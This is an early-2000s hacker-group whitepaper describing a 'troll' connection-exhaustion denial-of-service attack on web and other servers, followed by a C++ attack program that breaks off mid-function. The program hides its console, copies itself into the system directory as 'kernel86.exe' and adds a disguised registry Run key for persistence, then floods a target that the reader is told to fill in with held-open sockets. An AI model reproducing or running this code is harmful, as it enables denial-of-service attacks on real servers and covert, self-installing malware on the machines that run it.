Whitepaper: Troll (DDoS) [2]http://www.ceteranet.com Authorized For: Public Release 11.22.02 [13:40 UTC] Produced by: Ceteranet Team Authorized by: f0urtyfive Background:[INS: :INS] A distributed denial of service attack or DDoS is any attack or exploit that is executed by a user to "deny" services. For example, a DDoS against a web server may stop any content from being served while a DDoS against a router would stop computers that utilize it from accessing the network. Over the last 5 years the number of DDoS attacks has increased as well as their prominence. History: [3]http://security.royans.net/info/articles/feb_attack.shtml Perhaps some of the most successful DDoS attacks were launched against yahoo.com in early 2000. This unprecedented attack brought yahoo.com to its knees for almost one hour, an impressive feat considering yahoo's extensive bandwidth. However, since those first "earth shattering" attacks servers have been continually refining their methods to combat DDoS attacks. A combination of increased media coverage and general sysop awareness has made executing a large scale DDoS rather difficult. At late the preferred method of executing a large scale packet flood is the use of trojaned zombies. One such attack was executed against grc.com; it was held offline for about a week as Mr. Gibson tried frantically to combat his 13 year old assailant. Grc.com: The "Classic" DDoS report: [4]http://grc.com/dos/grcdos.htm However, despite their effectiveness packet flooding with "zombies" does have its problems. First it can often be hard to acquire enough "bots" to efficiently hamper a network. Secondly, if executed poorly the sysop may be able to crush the attack relatively quickly. And finally, zombies are difficult to control anonymously and can be hijacked by a 3^rd party. But there is a better and more effective way to DDoS web servers.[INS: :INS] The Troll: The primary candidate for a troll attack is any service that offers unlimited connection time on its sockets. Such services would include, web servers (httpd), poorly configured ftp and telnet servers, and remote administration router front-ends. The goal of a troll attack is to quickly and effectively deny services from a machine without affecting any other parts of a network. The effects of a troll are also extremely localized, if httpd is attacked only httpd goes down, thus allowing a machine on a residential connection to cripple a production server. In other words a troll is a pinpointed DDoS attack with minimal network side effects. [INS: :INS] [INS: :INS] Specifications: [INS: :INS] A troll attack works by exploiting services that allow connections with infinite or extremely high timeouts. By default most hosting packages have socket timeout's set to 300+ seconds thus leaving the server open to a troll attack. In essence the troll simply opens thousands of connections to the target and sits on them. It doesn't send any data past the connection lest the server drop the connection. From a server vantage it just appears as if a user has an extremely slow connection and therefore cannot send the data. As time passes and more connections are established the server's load because exceedingly high, at which point the targeted service will either cease to accept connections or the server will crash from excessive load, a combination of the two is also possible. Note the figures bellow for a visual representation of this process: [image003.jpg] As trolls fill up more connections server load increases in a linear fashion until the server crashes or the targeted service refuses to respond to connection attempts. Cpp Exploit: // troll.cpp : Defines the entry point for the console application. //includes #include "stdafx.h" #include <windows.h> #include <mmsystem.h> //Make program run without a console #pragma comment(lib,"winmm.lib") #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) //Protype for function to actually open the sockets void runSocks(); //Define how many sockets to use //and initialize an array of sockets to that size const int MAXSOCK = 100000; SOCKET sx[MAXSOCK]; //Main entry point int _tmain(int argc, _TCHAR* argv[]) { int x; WSADATA w; char sysdir[256]; char cfilename[256]; HKEY key; const char valuename[] = "Windows Services Loader"; // Key to add into registry for auto-run //copy to a system directory //Get the module name then system directory path //and finally copy the file to %system%\kernel86.exe GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename)); GetSystemDirectory(sysdir, sizeof(sysdir)); CopyFile(cfilename, strcat(sysdir, "\\kernel86.exe"), FALSE); //Add to registery RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); RegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)&"kernel86.exe", sizeof("kernel86.exe")+1); RegCloseKey(key); //Fire up winsock if (WSAStartup(MAKEWORD(1,1), &w) != 0) { //exit if winsock fails return 0; } //Initialize sockets for(int x = 0; x<= MAXSOCK; x++) sx[x] = socket(AF_INET, SOCK_STREAM, 0); //infinite loop to start sockets for(;;){ //Connect sockets runSocks(); } //Power down winsock WSACleanup(); //exit return 0; } //Function to connect sockets and wait on them void runSocks(){ SOCKADDR_IN SockAddr; HOSTENT *hostinfo; int RetVal; //if you want to explout keep-alive sockets fill this line out //and uncomment the line bellow const char sendme[] = "GET / HTTP/1.0 \n Connection: Keep-Alive \n Host: www.nohost.net \n\r\n\r\n"; //setup a sockaddr object SockAddr.sin_family = AF_INET; SockAddr.sin_port = htons(80); //if you need to set by IP uncomment this //and comment the line under "resolve target" /* SockAddr.sin_addr.S_un.S_un_b.s_b1 = 127; SockAddr.sin_addr.S_un.S_un_b.s_b2 = 0; SockAddr.sin_addr.S_un.S_un_b.s_b3 = 0; SockAddr.sin_addr.S_un.S_un_b.s_b4 = 1; */ //resolve the target //change nohost.net to whatever target you need hostinfo = gethostbyname("nohost.net"); //Finish setting the sockaddr IP SockAddr.sin_addr.S_un.S_un_b.s_b1 = (unsigned char)hostinfo->h_addr_list[0][0]; SockAddr.sin_addr.S_un.S_un_b.s_b2 = (unsigned char)hostinfo->h_addr_list[0][1]; SockAddr.sin_addr.S_un.S_un_b.s_b3 = (unsigned char)hostinfo->h_addr_list[0][2]; SockAddr.sin_addr.S_un.S_un_b.s_b4 = (unsigned char)hostinfo->h_addr_list[0][3]; //connect the sockets for(int x = 0; x<= MAXSOCK; x++){ //if the socket errrored output that it did if (sx[x] == INVALID_SOCKET || sx[x] == SOCKET_ERROR) cout << "Socket " << x << "ERROR!\n"; //if it didnt then were good if (connect(sx[x], (sockaddr *)(&SockAddr), sizeof(SockAddr)) != SOCKET_ERROR){ cout << "socket: " << x << " connected " << endl; //uncomment this block if you want //to exploit keep-alive connections /*RetVal = SOCKET_ERROR; while (RetVal == SOCKET_ERROR) { RetVal = send(sx[x], sendme, sizeof(sendme), 0); if (RetVal == 0) { printf("Connection closed at other end."); break; } }*/ ...
kazbiel